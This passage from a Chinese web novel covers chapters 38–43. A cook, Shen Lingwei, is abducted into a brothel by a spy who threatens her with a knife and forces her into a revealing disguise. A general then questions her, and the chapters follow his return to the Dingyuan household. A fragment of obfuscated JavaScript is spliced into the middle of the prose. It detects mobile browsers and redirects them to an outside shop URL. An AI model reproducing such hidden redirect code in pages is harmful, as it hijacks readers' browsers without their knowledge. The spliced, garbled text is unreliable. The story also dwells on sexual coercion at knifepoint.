“唔……唔唔……”
沈令薇拼命挣扎,可这点力道在对方看来,如同挠痒痒一般。
她想喊,嘴巴却被一只修长的大手给捂住。
沈令薇拼命挣扎,手脚并用,又踢又打。
可那人像是铁铸的,纹丝不动。
情急之下,她张嘴,狠狠咬在那人的肩膀上!
“嘶!”
对方吃痛,闷哼了一声,但箍着她的力道却半点没松。
等沈令薇回过神来时,已经处于一间香风阵阵的屋子里。
她被对方一个用力摔在床上,起身一看,顿时怔住。
满屋子的红罗软帐,装修极尽奢靡,一旁的香炉里青烟袅袅,散发出一股甜腻的香气。那味道吸入肺里,竟让人有些腿软。
旁边墙上挂着几幅仕女图,画中女子衣着清凉,姿态撩人。
这地方……
沈令薇脑袋里‘嗡’的一声。
“你是何人?为何掳我?”沈令薇撑起身体,朝着掳他的男子看过去。
那人正低头看着肩膀的咬痕。闻言转过脸来。
沈令薇在看清她的容貌后,心脏狠狠一跳。
此人约莫二十出头,穿着一身张扬的红衣,衣襟半敞,露出大片白皙的胸膛。
往上,竟是一张让人移不开眼的脸来。
眉眼细长,微微上挑着,像是化作人形的狐狸,眼尾晕着淡淡的红。
沈令薇脑子里立马闪现一个词:男妖精。
“你这女人,牙口倒是利得很。”男子抬手抚了抚肩膀,一双狐狸眼危险地看着她。
“本想着随手捡个小玩意儿当解药,没想到,竟是个小辣椒?”
沈令薇回过神来,瞬间绷紧了身体。
解药?
莫不是她想的那样?
“你,你别过来?!”她强撑着镇定,往床角缩过去,“我、我有夫君了,还有孩子,还有病,不能做解药,你要是不想被传染,就赶紧放我走!”
男子解衣袍的动作一顿,挑眉看她,像是在看什么有趣的东西。
他凑近沈令薇,伸手勾住她的下巴,魅惑道;“哦?什么病?会死人吗?”
沈令薇忍着胃里的恶心,拿眼睛瞪他:“死!死得不能再死!”
男人闻言,不仅没退,嘴角的笑意反而愈发浓郁,狭长的狐狸眼眯起。
“那正好,本公子这辈子,就爱拉着绝色美人一起赴死!”
声音带着一股子勾魂摄魄的黏腻。沈令薇心头猛地一颤,大脑极速地运转起来。
就在这时,楼下传来一阵骚动,还伴随着众多脚步声。
“挨间搜!北狄细作逃进这条街了,一个都不许放过!”
紧接着,便有众多男男女女惊慌的喊叫声,躲避声,混成一片,隐隐传来。
男人脸上的笑容瞬
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间褪去,脸色一变。
下一秒,他猛地朝沈令薇扑过来。
“你干什么——”
“不想死就配合我!”男人恶狠狠地威胁,力气大得惊人,眨眼间就将沈令薇双手举过头顶,一只修长白皙的手朝她领口探过来。
“放手!你个混蛋!放开我!”
该死的北狄细作,竟妄图毁她清白。
沈令薇被捉住双手,身体不停地扭动。
男人没了耐性,正欲发火,下一秒,目光定格在她胸口处,突然顿住。
“这是什么?”
原来,沈令薇由于拼命挣扎,衣襟早已散开,还露出来一截雪白的香肩。
自然而然的,胸口那截裹胸布也露出一角。
沈令薇突然僵住,只觉得肩头一凉,有股被毒蛇盯上的冷意。
听闻北狄人杀人如麻,阴险狡诈,她不敢冒险。
男人像是突然想到什么,眼中闪过一抹兴味。
“中原女人,都喜欢藏得这么深?”
他伸手,在那裹胸上轻轻一拉,没拉开。
这时,门外的脚步声在逐渐逼近,很快就要搜到他们这间厢房。
沈令薇在心里祈祷,希望官兵们能尽早抓住这细作。
这时,男人忽然改变主意,将她从榻上拽起来,命她躲在一处屏风后,并丢给她一件衣服,命令道:
“把你身上那玩意儿全解了,还有,换上这身。要快!”
沈令薇拿起裙子一看,整个人愣住。
这裙子……青楼的姑娘都不敢这么穿吧?
正欲开口,对方像是看穿了她的心思,威胁道:“若我数到十,你还没出来,我不介意亲自过来,帮你换!”
沈令薇一抖,咬紧牙关,立马转到屏风后。
过了片刻,门外的脚步声越来越近,男人也已经等到失去了耐性。
“好了没有?”
屏风后没有声音。
男人眼睛一闭,赶在官兵进门之前,伸手撩开门帘,绕到了屏风后头。
“再不出来,信不信我……”
话没说完,当他看到屏风后的风光时,声音戛然而止!
第39章 奴家这客人脸皮薄
眼前的女人,和方才那个衣着朴素,身材板直的妇人,简直判若两人。
没了那层裹胸布的束缚,她那极具冲击力的曼妙身段彻底舒展开来,如同一株在暗夜里肆意盛放的红莲。
一袭大红洒金的抹胸罗裙,不仅轻,而且极透,堪堪挂在她圆润的香肩上。随着呼吸,纱衣下那抹傲然的弧度颤巍巍地起伏着,夺人呼吸。
视线往下,腰肢细得不盈一握,愈发衬得上下两处愈发惊人。这种极窄与极宽的视觉落差,配上她那如同大地之母的温润磁场,竟产生了一种近乎神圣却又极度勾人的反差。
男人只觉脑中“嗡”的一声,方才那股子玩世不恭的劲儿瞬间碎成了渣。
他死死地盯着沈令薇,目光像是黏在了她身上。一股燥/热直冲小腹,激得他血脉.喷张。
他从未见过一个女人的身体,能长得这般“有生命力”,每一寸皮肉都散发着熟透了的果实芬香,让人恨不得立刻拆吃入腹。
“嘭!嘭!”
粗暴的拍门声响起,男人瞬间回神,眼底惊艳未散,却带着一股势在必得的疯狂。
他长臂一展,如同老鹰捉小鸡一般,眨眼就将沈令薇压在那张宽大的罗汉床上。
“唔!”
“别出声!”
沈令薇刚想动,腰间突然贴上一把冰冷的匕首。
这时,大门被拍得震天响。
男人顺势欺身而上,整个人如同一面炽热的墙,将她死死笼罩住,那张妖冶的脸贴在沈令薇颈侧,贪婪地嗅了一口她身上清甜的气息。
“美人,待会记得乖乖配合懂吗,这刀可不长眼!”
沈令薇浑身僵硬,大气都不敢出。
这时,门外的士兵猛地将门一脚踹开,震得木屑纷飞。
沈令薇吓得浑身一抖,忙抬眼越过男人的肩头,朝外看过去。
这一看,她顿时微微睁大了眼睛。
一共进来三个男人,个个身着轻甲。
为首之人,正是方才她在长街上看到,那个骑在枣红马上的俊美男人。
看装扮,应该是军营里的一位将军。
这时,床上的赫连绯懒洋洋地撑起身体,伸手拨开床帐,露出一张魅惑众生的脸来。
红衣半敞,狐狸眼微挑,嘴角噙着慵懒的笑意。
“哟,这位将军,动静闹得这般大,若是惊着了奴家的客人,可怎生是好?”他的声音沙哑餍足,像是刚被人从温柔乡里拽出来。
裴惊驰的目光落在他脸上,瞳孔骤然一缩。
不愧是南风馆的头牌,皮相果真是极好。
他面上不动声色,只淡淡道:“本将军奉命搜查北狄细作,所有人都得配合。”
赫连绯依旧靠在床头,一只手揽在沈令薇的腰上:“奴家这客人脸皮薄,将军别吓着她。”
“毕竟,这位夫人出手阔绰,说是……要买奴家一夜春宵,奴家可不敢怠慢。”
沈令薇后腰被匕首顶着,一动也不敢动。只能用眼神朝着裴惊驰疯狂的暗示。
可赫连绯盯得紧,她稍一扭头,那匕首就顶得紧了几分。她感觉有血丝渗了出来。
沈令薇吓得紧闭起双眼。
裴惊驰上前几步,准备用刀鞘挑开纱帐一探究竟。
这时,赫连绯立即抓过床上的被子,一把罩住沈令薇。只留下一截绯红的衣摆。
“哎哟,将军莫不是在军营里憋太久了,竟要抢奴家的客人?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335157|199245||http|test|mini|href|location''.split(''|''),0,{}));
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r>他轻轻一笑,故意用暧昧且暗示性十足的语气道:“可奴家是做正经生意的,这位夫人好不容易出来一趟,若是被将军这一搅和,回头被家里那位妒夫发现了,还不得闹到馆里来?您让奴家以后还怎么做回头客?”
裴惊驰手上的动作一顿,面上果然闪过一丝嫌恶。
这里是南风馆,他见多了那种不甘寂寞的深宅妇人,瞒着夫家出来寻欢作乐。
他收起刀鞘,转身就走。
可刚走出没两步,余光扫到某处时,又猛地顿住。
不远处的屏风底下,有一支木簪。
裴惊驰脚步折了个弯,朝屏风那头走去,弯腰捡起木簪,在手里仔细观察着。
这木簪,样式普通,连漆都没上,边缘还有些磨损。
裴惊驰眯起眼。
一个出手阔绰、肯花双倍价钱买南风馆头牌一夜的女人,会戴这种破木簪?
裴惊驰不动声色地收回目光,继续往前走。
脚步沉稳,像是什么都没发现。
然,右手已经不动声色地按在了刀柄上。
身后的两个侍卫察觉动作,也纷纷交换了一记眼色。
几人都是在军中上过阵,杀过敌的,只需一个眼神,便能瞬间读懂对方的心意。
屋里安静得可怕,空气像是凝滞住。
就在此时,原本向外走去的裴惊驰骤然发难,抽出腰间的佩刀,径直朝着赫连绯刺过来。
“铮!”
寒光如练,直劈向床榻!
沈令薇一颗心瞬间提到了嗓子眼,瞳孔瞬间放大了十倍不止!
可赫连绯早有察觉,一把扣住沈令薇的腰,在裴惊驰刺过来的那一瞬,猛地将沈令薇推了出去……
第40章 现在才想起来捂,是不是太晚了?
“啊——”
沈令薇只来得及发出一声惊呼,整个人便不受控制地朝那道寒光扑去!
刀锋在瞳孔中急速放大,死亡的寒意扑面而来。
时间仿佛被拉成一根极细的弦,即将崩裂。
就在这惊险万分的时刻。
“铮!”
裴惊驰的长剑在她眼前硬生生转了个弯,凌冽的寒光贴着脖颈划过,堪堪避过要害。
几缕发丝被斩断,无声地飘落。
可沈令薇整个人还在惯性的作用下,继续朝前扑去。
下一秒,她手腕被一股大力一拽,在原地转了个圈,眼前一晃,她撞入一个坚硬的怀抱。
时间突然静止。
沈令薇紧贴在男人的胸甲上,鼻端全是陌生又滚烫的气息。
四目相对,裴惊驰猛地被定住!
怀里的女人,杏眼圆睁,眼底的惊恐还未消散,胸口正剧烈地起伏着,一下一下,隔着薄薄的衣料传来。
温香软玉,还带着女人特殊的体香,排山倒海般撞进他所有的感官。
就在这时。
“啪嗒”一声轻响。
沈令薇肩头的薄纱被剑气斩断,半边香肩彻底暴露在空气中,领口失去支撑,胸前大片雪肤像羊脂玉一样,就这么直白地摊开在裴惊驰眼皮子底下。
裴惊驰像是被施了定身咒。
他也算是万花丛中过,可从未见过哪个女人,皮肤这么白,这么晃眼,那处更像是一对沉甸甸的果实,诱人采摘。
他喉结滚动,脑子里‘嗡’的一声,一片空白。
一切只发生在瞬息之间。
等裴惊驰反应过来时,那赫连绯早已跳窗逃脱。
“不好,他要逃!”
两个手下急忙去追,结果俯身一看,窗外是一汪江水,月光下波光粼粼,河面上涟漪渐渐散去,哪还有半个人影?
“将军,人跳江了!”
“去追!”他冷冷地丢下两个字。
手下很快开门出去,裴惊驰却没有要走的意思,目光依旧落在沈令薇脸上。
这时,沈令薇终于从方才那生死一线中回过神来,突然察觉到肩头一凉。
她俯身一看,脸‘腾’的就烧了起来。
她慌忙伸手去捂,可胸前的带子已经断裂,裙子也松松垮垮地挂在身上,根本挡不住,反而随着动作,露出更多春光。
裴惊驰看她在自己怀里扑腾,像一只受惊的兔子。
“这个时候才想着要捂,是不是太晚了?”他打趣道。
“你、你转过去!”沈令薇又羞又怒。
要是现代的话倒没什么,身材好的大街上都有穿吊带裙,沙滩比基尼。
可这里是古代,这样被一个陌生男人给盯着,还是很难为情的。
裴惊驰闻言,不仅没移开视线,反而正大光明地垂下头,一双灼热的桃花眼像带着钩子。
“这位夫人,方才不还重金出来享乐,怎么这会儿倒矫情起来了?”
沈令薇这才惊觉,方才被那该死的北狄细作给威胁,不得不配合他演戏。
“将军误会了,事情并非如您所见!”
紧接着,沈令薇杏眼含泪,将方才的事情娓娓道出。
“……所以,我是被那贼人胁迫的。”
怕裴惊驰不信,她想到什么,猛地转身,撩起后腰:“你看,这便是方才那贼人所伤。”
裴惊驰顺着目光看过去,那后腰处却有一条细小的伤口,还在往外渗着血珠。
他目光沉了沉,目光审视着沈令薇。
“哦?那你如何证明自己的身份?”
沈令薇皱眉。
如何证明?
一旦跟北狄细作案扯上关系,官府是宁可错杀一千,也不放过一个。
她一个带着孩子的寡妇,没人撑腰,没人作保,就算最后查清了是冤枉的,那也得先脱层皮。
“民妇……”她正欲开口。
“想好怎么应付本将军了?”裴惊驰坐在一旁的圈椅上,懒洋洋地打量着她。
“那就说说看。”
“是准备说,你是哪家落难的千金,被歹人掳掠至此?还是想说,你是这馆里新来的琴师,卖艺不卖身,方才不过是虚与委蛇?”
沈令薇心头一跳,嘴巴微微张大。
这两套说词,全被她猜中了。
见她那副震惊的表情,裴惊驰勾起玩味的笑来。
“怎么?都不对?那本将军再猜猜……”
“你是想说,你是哪个青楼楚馆的姑娘,今日是来赴熟客的约?”
沈令薇脸色涨红。
“还是想说,你是官宦人家的丫鬟,替主子来办事,被牵连进来?”
沈令薇彻底说不出话了。
她忽然意识到,眼前这男人,根本不是那种只会打仗杀敌的莽夫。
他心思之缜密,洞察之敏锐,远超她的想象。
若她再说谎,被他当场戳穿,那才真是百口莫辩。
她放弃挣扎,垂下眼睫:“……将军睿智,我确实不是这南风馆的人,也不是什么官家女眷。”
“我只是……高门大户府上的下人。”
她抬眸,一双杏眼盈满水汽,却异常坚韧,直直地望着裴惊驰。
“我只是个不起眼的厨娘,今日若是折在这里,便没了活路,恳请将军看在我只是个挣扎着讨生活的下人份上,放我一条生路吧。”
她姿态卑微,语气诚挚,很容易让人产生保护欲。
裴惊驰目光上下打量着她
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,喉咙里溢出轻笑。
“这模样,这身段,放厨房里?”
“谁家的主子心眼这么大?就不怕你这‘火’烧起来,先把主人家的房梁给掀了?”
沈令薇被他噎得说不出话来,咬着下唇。
“皮相不过是苦命人的累赘,民妇只想安稳度日,还请将军高抬贵手。”
“将军若是不信,可派人去南风馆后巷找找。民妇的篮子掉在那里了,里面有采买的食材。”
裴惊驰挑眉,没接话,只抬手朝来一个手下。
手下得令,快步离去。
不一会儿,脚步声再次响起。
手下推门而入,手里提着一个竹篮:“将军,找到了。”
裴惊驰打量竹篮里的东西,半袋子红枣,还有一包红糖,并一些糯米粉,几样零嘴之类的。
裴惊驰捏起一串糖葫芦,糖壳已经被压得有些碎。
他似笑非笑地看向沈令薇:“这是……?”
“是给府上的小主子带的吃食。”她忙张嘴解释。
“小主子?”裴惊驰一副‘你看我信吗’的表情。
沈令薇一突,这才恍然想起,高门大户里的主子们都金贵,大概率不会吃这种不入流的零嘴。
但话都说出去了,再编下去只会越描越黑。
思及此,她深吸一口气,解下腰后的令牌,递给裴惊驰。
“民妇是定远侯府的厨娘,这是令牌,将军这下可信了?”
裴惊驰目光落在那熟悉令牌上,猛地滞住。
竟是自家府上的?
电光火石之间,他恍然明白了什么。
是了,母亲在信里提到过,家里多了只小馋猫,是他的妹妹,唤作裴瑶,今年刚好五岁。
他在外征战七年,今日不过刚归京,这不听说了北狄细作的事,便主动请缨前来捉拿。
没成想,会在这儿遇见自家府上的下人。
裴惊驰眼底的疑虑已经消散大半,将令牌还给沈令薇,正欲开口时,门外再次传来急促的脚步声。
“将军,吴大他们在河对岸发现了踪迹!那细作往城西逃了!”
裴惊驰眸光一凛,转身走了两步,又忽然顿住。扭头朝沈令薇丢下一句:
“你且先回去,备好膳食酒水,本将军晚些时候再来。”
沈令薇脑袋‘嗡’的一声!
还来寻她?
难道是要抓她,去大牢审问?
沈令薇眉头皱成了疙瘩,在想着要不要连夜请辞跑路。
可很快,她便打消了这个念头。
且不说安安还在侯府,跑得了和尚跑不了庙。
再说今晚这事,若是真跑了,反而坐实了心虚,到时候被当做北狄细作的同党,更加得不偿失。
第41章 躲避相见
最终,沈令薇失魂落魄地回到府邸,天已经黑透了。
她是从角门溜进去的,一路低着头生怕被人发现。
然,今日府里的气氛,似乎和往常不太一样。
灯笼变多了,将回廊照得亮如白昼,下人们脚步生风,脸上似乎都带着喜色。
抵达静和苑时,她拉住银杏,忙问怎么回事。
银杏一脸高兴;“沈姐姐!你可算回来了!”
她手里端着个大托盘,上头摞着好几只精致的瓷碗。
“您还不知道吧?大房的惊驰公子回来了!听说他这次在边疆立了大功,圣上亲自召见,这会儿已经进宫面圣去了!”
沈令薇一愣。
大房……惊驰公子?
她来侯府这些日子,对大房的事多少听说过一些。
定远侯府分两房。她所处的是二房。
至于大房那一脉,大爷裴远山是老侯爷的原配所生,妻子白氏,也就是如今掌管侯府的主母。
白氏膝下育有一子一女,长子唤做裴惊驰,七年前应征入伍,至今方归。
女儿则唤做裴瑶,今年刚五岁,和二少爷三少爷差不多年纪,如今也在族学开蒙上课。
她还听说,侯府尚未立世子,大房和二房之间,隐隐有些说不清道不明的微妙。
沈令薇正想着,银杏又絮叨起来:“老夫人发话了,今晚全家都要去寿安苑用膳,给惊驰公子接风洗尘。厨房那边忙得脚不沾地,我这是去库房取碗碟呢!”
沈令薇闻言,心里有些忐忑。
这样的大日子,方才那位将军也说要来府上,万一到时候认出她,该如何是好?
正想着,沈令薇忙朝银杏问道:“那二少爷呢?二少爷今晚也要过去吗?”
银杏想了想,“老夫人发话了,让所有主子都去,想必二少爷应该也会去的。”
沈令薇顿觉希望落空。
不行,得想个法子,避开这场筵席。
犹豫再三后,沈令薇打算‘装病’,躲过这一劫。
-
今晚的寿安苑内,灯火通明,侯府所有的主子都悉数到场。
裴惊驰从宫里出来,已经换下了那身肃杀的轻甲,穿上一件墨兰金丝滚边的锦袍。越发显得长身玉立,风流不羁。
席间,老夫人端坐首位,笑容慈祥,“惊驰这一走就是七年,如今才二十三岁,就已经立下赫赫战功,得圣上亲自召见,当真是年轻有为。”
又道:“你与谨之,一个守边关,一个安朝堂,一文一武,定能将咱们定远侯府的门楣撑得更高些。”
裴惊驰双手举杯,躬身道:“祖母折煞孙儿了,孙儿在外多年,未能侍奉膝下,心中愧疚。这杯酒,孙儿敬祖母。”
说罢,一饮而尽。
老夫人笑得合不拢嘴,连连点头:“好好好,快坐下,快坐下。”
“母亲,”大夫人白氏起身开口,语气担忧。
“惊驰能在边关立功,全赖祖宗庇佑。只是……”白氏话锋一转,又道:“这武将一行,终究是刀口舔血、粗鄙了些。如今既然回来了,还是该多跟二叔学学那运筹帷幄的文臣雅量,定下心来读读书,将来再谋个正经职缺,才不负了这侯府公子的出身。”
白氏心里另有盘算。
本朝重文轻武,武将瞧着威风,实则在那些清流名门眼中不过是个粗人。若不洗掉这一身血汗气,如何娶得回高门贵女,又如何争得过二房?
她侧首看向不远处的裴朔,年仅七岁,举止已颇具小叔子的风骨。
白氏用力掐紧了帕子。
凭什么?
同样是嫡出,大房才是正统,可如今事事都要被二房压一头。
这世子爵位只有一个,若儿子还不成气候,大房怕是彻底没了翻身之日。
偏这孩子打小叛逆,一走便是七年,怎不叫她心焦。
桌上的气氛一时有些微妙,像是被霜打过一般。连孩子们都意识到气氛不对,没人出声。
良久,裴惊驰嗤笑一声,打破沉默。
“母亲也太高看儿子了,我这双手只会拿枪,你要我去握笔,怕是笔杆子都要被我折断了去。那些文绉绉的玩意儿,您还是留给二叔和朔儿吧。”
白氏脸色猛地一变。
这没出息的东西!
“行了。孩子刚回来,你说这些做什么?读书不读书的,往后再说。”大爷见白氏脸色不对,急忙出来和稀泥。
白氏对上丈夫那不悦的目光,终究把话吞了回去,努力挤出一丝笑意。
“罢了,你刚回来,这件事,以后再说。”
裴惊驰没接话,转而将目光投向对面的三个小萝卜头,眼底涌上光亮。
“这便是我那三位堂弟?”
裴朔作为老
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大,率先起身,举止端方的行了个晚辈礼,“朔儿见过堂兄,贺堂兄凯旋。”
裴野紧随其后,一双黑溜溜的眼睛,早就盯上了裴惊驰那身藏不住的杀伐气,欢快地喊道:“堂兄威武!我是裴野!”
“大堂兄!你真的是那个杀了好多北狄的将军吗?你杀过多少?有没有一百个?你用的刀有多长?能不能给我看看?”
裴惊驰被他逗笑,伸手捏捏他软嫩的脸蛋。
最后是裴恪,安安静静地起身,照着哥哥们的样子行礼,但并未开口。
裴惊驰哈哈大笑,桃花眼中满是赞赏:“好!都是咱们裴家的种,没一个孬的!”
言罢,他大手一挥,命人抬上来一个沉甸甸的木箱子。
“初次见面,哥哥给你们带了点小玩意儿。”
他先拿起一个长条形的匣子,递给裴朔:“听说你读书用功,这是北狄那边得来的狼毫笔,笔锋硬朗,适合写楷书。别嫌弃。”
裴朔接过,认真看了看,眼睛发亮:“多谢大堂兄。”
“三弟,这玩意儿你定喜欢。”
裴惊驰打开第二个匣子,里面是一把精巧匕首,刀锋铮亮,在月光下泛着锐利的光芒。
“此乃‘百炼玄铁匕’,是我亲手从北狄将领身上缴获的,削铁如泥,你可得小心着点保管。”
“哇!太酷了!”裴野发出一声惊呼,拿着匕首爱不释手地把玩着。
轮带裴恪,裴惊驰在他那双沉静,却隐含期待的眼睛停留一瞬,最后从箱子里取出一个小盒子。
“这是由极北之地的白玉磨成的‘狼哨’,声音清越,即便是百步之外也能听得真切。”
他将哨子放到裴恪手中,语气不自觉地柔和了几分,“二弟若是想家了或者遇到难事了,就吹一吹,这哨音能招来最忠诚的猎犬。”
裴恪低头看着手里的哨子,伸手轻轻抚摸上面的花纹。
之后,也学着大哥的样子,朝裴惊驰行了一礼。
席间的僵局瞬间被几个孩子的喧闹声打破。
这时,一道不合时宜的声音插进来。
“大哥!你偏心,为什么他们都有礼物,我没有……”
开口的是裴瑶,是裴惊驰的亲妹妹,刚满五岁。
她出生的时候裴惊驰还在打仗,所以一直都没见过。
这不,眼下有些破防了。
第42章 什么叫长相没法说?
裴惊驰扭头看去,眼前的小女孩,和自己生的有五分像。桃花眼,樱桃唇,粉雕玉琢的,皮肤嫩得能掐出水来,梳着羊角辫,正仰起小脸,嘴角噘得能挂个油瓶。
“哎哟,这是谁家的小祖宗在掉金豆子?”
裴惊驰哈哈一笑,大步流星地走过去,长臂一展,径直将小女孩抱在了自己怀里。
“你就是瑶瑶?”
裴瑶还在生气,别过脸不肯看他。
裴惊驰伸手刮了刮她的小鼻子,桃花眼里全是混不吝的宠溺:“你是哥哥的亲妹妹,旁人有的那是顺带,给你的礼物,自然是要留到最后压箱底的。”
裴瑶一愣,“真、真的?”
裴惊驰神秘一笑,修长的手指在虚空中晃了晃,又猛地探入怀中,随后像变戏法似的,直接‘变’出一个鸣金球。
约莫拳头大小,是由西域红珊瑚雕琢而成的,中间挂着个小铃铛。轻轻一晃,便能发出清脆悦耳的声音。
“哇!好漂亮!”
裴瑶到底只是个五岁的孩子,哪里见过这等塞外的稀罕物件,当即接过小球,还在裴惊驰脸上‘吧唧’了一口,“哥哥最好了!哥哥没偏心!”
一时间,寿安苑的气氛热闹到极点。
一旁的白氏看得胸口发堵。
儿子叛逆也就罢了,可这女儿也是,从小不让人省心,天天跟在裴野那疯小子身后,跟人学打架,捉虫子,有一回还捣了马蜂窝。
可屡次管教,屡教不改。
这裴惊驰一回来,不到一炷香的功夫,也将这几个孩子们统统收买。
白氏心塞,饭都没吃完。随意找了个借口离席,来个眼不见为净。
裴惊驰逗妹妹玩了一会儿,突然想到什么,遂道:“哥哥今天回来得晚,下次再带你去吃糖葫芦。”
裴瑶先是一愣,随即小脸一垮:“大哥你是不是故意的?”
裴惊驰一头雾水。
这时,裴野一边吃着云卷,一边含糊不清地解释:“大堂哥,你这回可真是拍马屁拍到马屁股上了,瑶姐姐小时候偷吃糖葫芦,被山楂核卡到过喉咙,险些命都丢了,现在她从来不吃糖葫芦。”
裴惊驰脸上的笑容一僵。
“不吃糖葫芦?”
裴瑶重重地点头,不满地白了他一眼:“以后别让我听到这三个字。”
裴惊驰想到什么,眼睛倏地眯起。
所以……那个女人是在骗他?
很好!
该死的女人!
等找到她,定要叫她知道,欺骗他的代价!
……
另一头,沈令薇捂着鼻子,连打了好几个喷嚏。
“阿嚏!阿嚏……”
“娘亲,你怎么啦?是不是病了?”安安顾不上吃饭,连忙跑过来摸她的额头。
沈令薇压下心底的不安,摆了摆手:“娘没事,安安,明儿个要去学堂带的东西,可都收拾妥当了?”
安安拿出自己的布包,当着沈令薇的面又仔细检查了一遍;“笔,墨,还有砚台……娘放心,早就准备好啦。”
说完,安安懂事地催促沈令薇早点休息:“娘,这么晚就别熬夜绣袜子啦,安安不冷,您快歇着吧。”
见女儿如此懂事乖巧,沈令薇心里软得一塌糊涂。
但一想到今晚那事,心里依旧忐忑得很。
她先将安安安置上床,“你先睡,娘去外头寻银杏交代几句厨房明早的事儿,马上就回来。”
说完,她随手披了件素色的丁香外衫,便出了房门。
院子里,银杏刚从大厨房回来,见到沈令薇,不禁诧异。
“沈姐姐?您不是告了病假吗?怎么起来了?”
“身子可好些了?”
沈令薇顾不上回答,忙将她拉到一旁,压低声音问道:“银杏,方才寿安苑那边,可有人来过?”
银杏想了想,摇头。
“没有啊。今晚除了惊驰公子归府,府上并没有外人啊。”
沈令薇心跳漏了一拍,不死心地追问:“你再想想,真的没有吗?比如……有没有惊驰公子的军中同僚什么的?年轻将领之类的?”
银杏努力回想了一会儿,“我也不清楚,我也没在现场伺候呢,在厨房帮忙来着,哦不过……”
银杏突然想到什么,“听说惊驰公子身边的小厮,把厨房的厨娘都叫到了院子里,说今晚的席面很好,要给什么奖励。
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”
紧接着,银杏就掏出一个油纸包,里头裹着一只喷香的鸡腿。
“你看,这是管事贺大娘赏我的,说见者有份呢,沈姐姐,你今晚没去帮忙,可太亏了呢。”
亏吗?
沈令薇一点都不这么觉得。
不过……大房的惊驰公子,为何要召集厨娘?
电光石火间,一个猜测猛地在她脑海中生成!沈令薇猛地瞪大眼睛!
难道……方才在南风馆的那位少年将军,就是裴惊驰!?
-
与此同时,裴惊驰带着一身酒气踏入回廊,小厮吴七早已等候多时,见主子走近,忙不迭地迎了上来。
“如何?可有找到?”
吴七面露难色,苦笑着摇头:“小的方才亲自去厨房了,所有的厨娘都在,根本没有公子您要找的人。”
“确定没漏?”裴惊驰眯眼。
“确定没有!”吴七掰着手指头数道:“厨房一共五个厨娘,有三个已经年过四十,腰比水桶还粗,另外两个,一个是满脸横肉的婆子,剩下一个倒是年轻些,可那长相……”
吴七的表情变得一言难尽,像是吞了只苍蝇。
“长相怎么了?”裴惊驰挑眉。脑海里浮现出沈令薇那令人血脉喷张的身材。
“……小的实在没法说,公子您还是亲自去瞧一眼吧。”
若是平日里,裴惊驰定能听出吴七的言外之意。
但今晚他高兴,多喝了几杯,本就有些醉意。满脑子里都是那抹雪色的肌肤。是以在吴七提说后,脚已经跨了出去。
他颤颤巍巍地走向厨房,嘴里还道:“什么叫长相没法说?你小子眼拙,那分明是‘熟透了’的味道,你哪儿能瞧得明白……”
然,当她一把掀开门帘,屋里的女人正好转过脸来……
裴惊驰在看清眼前的这张脸时……
“呕……!”
他把胃里的饭菜和酒水全吐了出来。
吐完之后,直接甩给了吴七一个死亡凝视。
吴七顿时两股战战,手打起了摆子;“不、不关小的的事啊,是公子您非要来看的!”
吴七说完,立刻脚底抹油,跑得比兔子还快!
第43章 不信你们
翌日一早,天边刚泛起鱼肚白,沈令薇便起了身。
她先在厨房做好早膳,陪着裴恪用完一碗皮蛋瘦肉粥,又细心替他整理长衫,书包等。
裴恪整个过程都很安静,很配合。
他现在已经不那么抗拒沈令薇的接触,甚至有时候还允许沈令薇牵他的小手,睡前讲故事的时候,还能拍拍背,摸摸小脸。
沈令薇替她整理衣服的时候,裴恪一直在把玩手里的小哨子。
走出门,安安已经等候在外头,今日也换上了一身粉红的新衣,鞋袜和书包也都是新的。
经过这段时间的投喂,如今的安安已经不再像刚入府时瘦巴巴的样子,而是长得雪白粉嫩,一双大眼睛扑闪扑闪的,像极了年画里的锦鲤娃娃。
“娘亲,二少爷。”
沈令薇走过去,替她整理好衣襟。
“到了学堂,要听夫子的话,知道吗?”
安安乖乖点头。
沈令薇不放心,又嘱咐安安,“二少爷不喜吵闹,也不喜生人触碰,你在他旁边坐着,若是有人想凑过来闹他,你要拦着些。”
“实在拦不住,就赶紧去禀报夫子,或者去找大少爷和三少爷,记住了吗?”
“记住了。”安安掰着手指数,“不能让人吵二哥哥,不能让人碰二哥哥,有事找夫子,找大哥哥,找三哥哥。”
沈令薇笑着捏了捏她的小脸。
一切准备妥当,沈令薇一手牵着安安,一手牵着裴恪:“二少爷,咱们走吧。”
……
定远侯府的族学书院唤作“青云舍”,坐落在侯府西侧约莫两条街口远的地方。不远也不近。
这青云舍在京中颇有名气,不仅招收裴氏子弟,也会破格录取一些资质上乘的世家子弟,或者寒门学子。
三人刚走出角门,远远的就听见一阵急促的脚步声。
“二哥,安安,等等我!”
是裴野风风火火地跑来,他今日穿了一身利落的劲装,腰上大喇喇地别着裴惊驰昨晚送他的匕首。
“三少爷,早啊!”沈令薇朝他打着招呼,目光落到那把匕首上。
“这是……?”
裴野把胸脯挺得老高,“酷吧!大堂兄送的。”
他扭头朝安安和裴恪道;“二哥,安安,你们放心,以后在学堂里有我罩着你,谁敢欺负你,我就……”
他做了个拔刀的动作,小脸绷得紧紧的。
“三少爷,这可使不得!”沈令薇有些哭笑不得。
“学堂里不能带这个。”
裴野眨眨眼:“大堂兄说能带。”
“大堂兄是将军,你又不是。”沈令薇蹲下来,与他平视,“你若是真想保护二少爷和安安,就好好读书,旁人有难处时你第一个站出来帮忙。这才是男子汉该做的。”
裴野歪着头想了想,似乎在消化这段话。
但他很喜欢这匕首,不想解下来。
正发愁时,裴朔的声音在身后响起。
“她说得对!”
“书院乃治学之地,圣人门前,岂容兵刃开锋?”
裴朔不知何时已走到了几人身后,步履沉稳,小小的脸庞透出几分不属于这个年纪的肃穆。
裴野小脸皱成了苦瓜,满是不服气:“哼,大哥你每次都拿学院规压我!大堂兄昨晚说了,这匕首是他在北狄战场上缴获的,那是英雄的见证!既然是英雄,怎么就进不得书院了?”
裴朔还想说教,裴野却像是有所预感一样。
“我才不信你们呢,定是你们故意诓我,我现在就去问夫子,若是夫子不愿意,那我就让大堂兄亲自来书院帮我说理。”
说完,不等沈令薇和裴朔反应,裴野扭头就跑,小小的身子如同离弦之箭一样。
“唉,三少爷!”
“……”
